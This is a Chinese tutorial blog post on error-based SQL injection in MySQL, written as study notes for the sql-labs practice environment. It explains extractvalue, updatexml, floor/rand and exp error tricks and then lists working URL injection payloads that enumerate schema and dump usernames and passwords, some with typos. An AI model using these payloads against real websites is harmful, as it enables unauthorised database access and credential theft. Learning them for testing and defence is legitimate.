当前位置:网站首页>sql注入之报错注入(精简详细)
sql注入之报错注入(精简详细)
2022-08-03 14:51:00 【一青一柠】
报错注入
一直对sql注入的报错注入没有系统的整理过,今天整理一遍,方便以后查阅。
下面的语句可以直接在sql-lab中实践。
常用函数
extractvalue()
作用:对XML文档进行查询,相当于在HTML文件中用标签查找元素。
语法: extractvalue(XML_document, XPath_string )
参数1: XML_document是String格式,为XML文档对象的名称
参数2: XPath_string (Xpath格式的字符串),注入时可操作的地方
报错原理: xml文档中查找字符位置是用/xxx/xxx/xxx/...这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如: XPATH syntax error:'xxxxxxxx'
●实例
mysql> select extractvalue(1,concat(' ~ ',user()));
ERROR 1105(HYOO0):XPATH syntax error: '~root@localhost"
·注:该函数最大显示长度为32,超过长度可以配合substr、limit等函数来显示
updatexml()
作用:改变文档中符合条件的节点的值。
语法: updatexml(XML_document, XPath_string, new_value )
参数1:XML_document是String格式,为XML文档对象的名称
参数2:XPath_string (Xpath格式的字符串),注入时可操作的地方
参数3: new_value,String格式,替换查找到的符合条件的数据报错原理:同extractvalue()
●实例
mysql> select updatexml(1,concat('~ ',user()).1);
ERROR1105(HY0O0): XPATH syntax error: '[email protected]'
·注:该函数最大显示长度为32,超过长度可以配合substr、limit等函数来显示
floor(),rand(0),count(),group by 联用作用
floor(x):对参数x向下取整
rand():生成一个0~1之间的随机浮点数
count(*):统计某个表下总共有多少条记录
group by x:按照(by)一定的规则(x)进行分组
报错原理: group by与rand()使用时,如果临时表中没有该主键,则在插入前会再计算一次rand(),然后再由group by将计算出来的主键直接插入到临时表格中,导致主键重复报错,错误信息如: Duplicate entry '...' for key 'group_key'。
●实例
select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a;
ERROR 1062 (23000): Duplicate entry '[email protected]' for key 'group_key'
exp() (5.5.5<= MySQL数据库版本号<=5.5.49)
作用:计算以e (自然常数)为底的幂值
语法:exp(x)
报错原理:当参数x超过710时,exp()函数会报错,错误信息如:DOUBLE value is out of range: ......
●实例
mysql> select exp(~(select * from (select user()) as x));
ERROR 1690 (22003); DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)"
攻击实例
- extractvalue()
?id=-1' and extractvalue(1,concat('~ ",(select database())))--+ //爆当前数据库的库名,获知当前的数据库名称为security ?id=-1' and extractvalue(1, concat('~ ',(select table_name from information_schema.tables where table_schema='security' limit N,1)))--+ //爆security数据库的表名,通过调整参数N获知security数据库中有一张表名为users ?id=-1' and extractvalue(1, concat('~ ",(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit N,1)))--+
//爆users表中的字段名,通过调整参数N获知users表中包含id,username,password三个字段
?id=-1' and extractvalue(1,concat('~ ',(select concat_ws(';', id,username,password)from security.users limit N,1)))--+
//通过调整参数N,爆users表中id,username,password三个字段的值
2.floor()
?id=-1' and (select 1 from (select count(*),.concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ //爆当前数据库的库名,获知当前的数据库名称为security ?id=-1' and (select 1 from (select count(*),concat((select table_name frominformation_schema.tables where table_schema='security' limit N,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
//爆security数据库的表名,通过调整参数N获知security数据库中有一张表名为users
?id=-1' and (select 1 from (select count(*),concat((select column_name frominformation_schema.columns where table_schema='security' and table_name='users' limit N,1), floor(rand(0)*2))x from information_schema.tablesgroup by x)a)--+ //爆users表中的字段名,通过调整参数N获知users表中包含id,username,password三个字段? id=-1' and (select 1 from (select count(*),concat((select
concat_ws( ',',id,username,password) from security.users limit N,1),floor(rand(0)*2)>x from information_schema.tables group by x)a)--+
//通过调整参数N,爆users表中id,username,password三个字段的值
边栏推荐
猜你喜欢
随机推荐
教你如何获取微信公众号历史文章链接
PAT乙级-B1015 德才论(25)
【R语言科研绘图】--- 柱状图
Use Typora+EasyBlogImageForTypora to write a blog and upload pictures quickly without a picture bed
PAT乙级-B1014 福尔摩斯的约会(20)
树莓派 USB摄像头 实现网络监控( MJPG-Streamer)
连亏四个月,赚不回电费,预制菜经销商恐成“韭菜”?
ffplay视频播放原理分析
MMA安装及使用优化
一对多查询(分页)
Chrome browser corresponding driver_chrome mobile browser
PHP中高级面试题 – 第一天
LeetCode15:三数之和
面试官都震惊,你这“网络基础”可以啊
MATLAB中writetimetable函数用法
【MATLAB项目实战】基于CNN_SVM的图像花卉识别
未来无法预料
身为程序员的我们如何卷死别人?破局重生。
R7 6800H+RTX3050+120Hz 2.8K OLED screen, Intrepid Pro15 2022 pre-sale
SwiftUI SQLite教程之了解如何在 SwiftUI 中使用 SQLite 数据库并执行 CRUD 操作(教程含源码)









